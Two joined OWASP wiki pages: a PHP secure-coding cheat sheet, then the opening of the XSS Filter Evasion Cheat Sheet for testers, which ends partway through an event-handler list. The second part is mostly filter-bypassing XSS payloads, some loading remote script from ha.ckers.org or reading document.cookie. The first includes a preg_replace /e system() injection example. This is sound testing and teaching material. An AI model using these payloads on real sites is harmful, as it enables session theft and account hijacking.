The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are <code>$_SERVER</code>, <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code>, <code>$_FILES</code> and <code>$_COOKIE</code>. Not all data in <code>$_SERVER</code> can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with <code>HTTP_</code>).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

XSS Filter Evasion Cheat Sheet

2015-01-15T09:32:52Z

Luke Plant: /* Escaping JavaScript escapes */

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/>
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.

= Tests =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

== XSS Locator ==
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

== XSS locator 2 ==
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

'';!--"<XSS>=&{()}

== No Filter Evasion ==
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

== Image XSS using the JavaScript directive ==
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

== No quotes and no semicolon ==

<IMG SRC=javascript:alert('XSS')>

== Case insensitive XSS attack vector ==

<IMG SRC=JaVaScRiPt:alert('XSS')>

== HTML entities ==
The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

== Grave accent obfuscation ==
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

== Malformed A tags ==
Skip the HREF attribute and get to the meat of the XXS...
Submitted by David Cross ~ Verified on Chrome

<nowiki><a onmouseover="alert(document.cookie)">xxs link</a></nowiki>

or
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

<nowiki><a onmouseover=alert(document.cookie)>xxs link</a></nowiki>

== Malformed IMG tags ==
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

== fromCharCode ==
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

== Default SRC tag to get past filters that check SRC domain ==
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.
Submitted by David Cross .

Edited by Abdullah Hussam.

<IMG SRC=# onmouseover="alert('xxs')">

== Default SRC tag by leaving it empty ==

<IMG SRC= onmouseover="alert('xxs')">

== Default SRC tag by leaving it out entirely ==

<IMG onmouseover="alert('xxs')">

== On error alert ==

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

== Decimal HTML character references ==
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS [http://ha.ckers.org/xsscalc.html Calculator] for more information:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

== Decimal HTML character references without trailing semicolons ==
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

== Hexadecimal HTML character references without trailing semicolons ==
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS [http://ha.ckers.org/xsscalc.html calculator] for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

== Embedded tab ==
Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

== Embedded Encoded tab ==
Use this one to break up XSS :
<IMG SRC="jav&#x09;ascript:alert('XSS');">

== Embedded newline to break up XSS ==
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>

== Embedded carriage return to break up XSS ==
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

== Null breaks up JavaScript directive ==
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

== Spaces and meta chars before the JavaScript in images for XSS ==
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC="  javascript:alert('XSS');">

== Non-alpha-non-digit XSS ==
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<nowiki><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<nowiki><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></nowiki>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<nowiki><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

== Extraneous open brackets ==
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert("XSS");//<</SCRIPT>

== No closing script tags ==
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<nowiki><SCRIPT SRC=http://ha.ckers.org/xss.js?< B ></nowiki>

== Protocol resolution in script tags ==
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//ha.ckers.org/.j>

== Half open HTML/JavaScript XSS vector ==
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

== Double open angle brackets ==
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<nowiki><iframe src=http://ha.ckers.org/scriptlet.html <</nowiki>

== Escaping JavaScript escapes ==
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

</script><script>alert('XSS');</script>

== End title tag ==
This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

<nowiki></TITLE><SCRIPT>alert("XSS");</SCRIPT></nowiki>

==INPUT image ==
<nowiki><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></nowiki>

== BODY image ==
<nowiki><BODY BACKGROUND="javascript:alert('XSS')"></nowiki>

== IMG Dynsrc ==
<nowiki><IMG DYNSRC="javascript:alert('XSS')"></nowiki>

== IMG lowsrc ==
<nowiki><IMG LOWSRC="javascript:alert('XSS')"></nowiki>

== List-style-image ==
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<nowiki><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br></nowiki>

== VBscript in an image ==
<nowiki><IMG SRC='vbscript:msgbox("XSS")'></nowiki>

== Livescript (older versions of Netscape only) ==
<nowiki><IMG SRC="livescript:[code]"></nowiki>

== BODY tag ==
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<nowiki><BODY ONLOAD=alert('XSS')></nowiki>

== Event Handlers ==

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].

# <code>FSCommand()</code> (attacker can use this when executed from within an embedded Flash object)
# <code>onAbort()</code> (when user aborts the loading of an image)
# <code>onActivate()</code> (when object is set as the active element)
# <code>onAfterPrint()</code> (activates after user prints or previews print job)
# <code>onAfterUpdate()</code> (activates on data object after updating data in the source object)
# <code>onBeforeActivate()</code> (fires before the object is set as the active element)
# <code>onBeforeCopy()</code> (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the <code>execCommand("Copy")</code> function)
# <code>onBeforeCut()</code> (attacker executes the attack string right before a selection is cut)
# <code>onBeforeDeactivate()</code> (fires right after the activeElement is changed from the current object)
# <code>onBeforeEditFocus()</code> (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
# <code>onBeforePaste()</code> (user needs to be tricked into pasting or be forced into it using the <code>execCommand("Paste")</code> function)
# <code>onBeforePrint()</code> (user would need to be tricked into printing or attacker could use the <code>print()</code> or <code>execCommand("Print")</code> function).
# <code>onBeforeUnload()</code> (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
# <code>onBeforeUpdate()</code> (activates on data object before updating data in the source object)
# <code>onBegin()</code> (the onbegin event fires immediately when the element's timeline begins)
# <code>onBlur()</code> (in the case where another popup is loaded and window looses focus)
# <code>onBounce()</code> (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
# <code>onCellChange()</code> (fires when data changes in the data provider)
# <code>onChange()</code> (select, text, or TEXTAREA field loses focus and its value has been modified)
# <code>onClick()</code> (someone clicks on a form)
# <code>onContextMenu()</code> (user would need to right click on attack area)
# <code>onControlSelect()</code> (fires when the user is about to make a control selection of the object)
# <code>onCopy()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Copy")</code> command)
# <code>onCut()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Cut")</code> command)
# <code>onDataAvailable()</code> (user would need to change data in an element, or attacker could perform the same function)
# <code>onDataSetChanged()</code> (fires when the data set exposed by a data source object changes)
# <code>onDataSetComplete()</code> (fires to indicate that all data is available from the data source object)
# <code>onDblClick()</code> (user double-clicks a form element or a link)
# <code>onDeactivate()</code> (fires when the activeElement is changed from the current object to another object in the parent document)
# <code>onDrag()</code> (requires that the user drags an object)
# <code>onDragEnd()</code> (requires that the user drags an object)
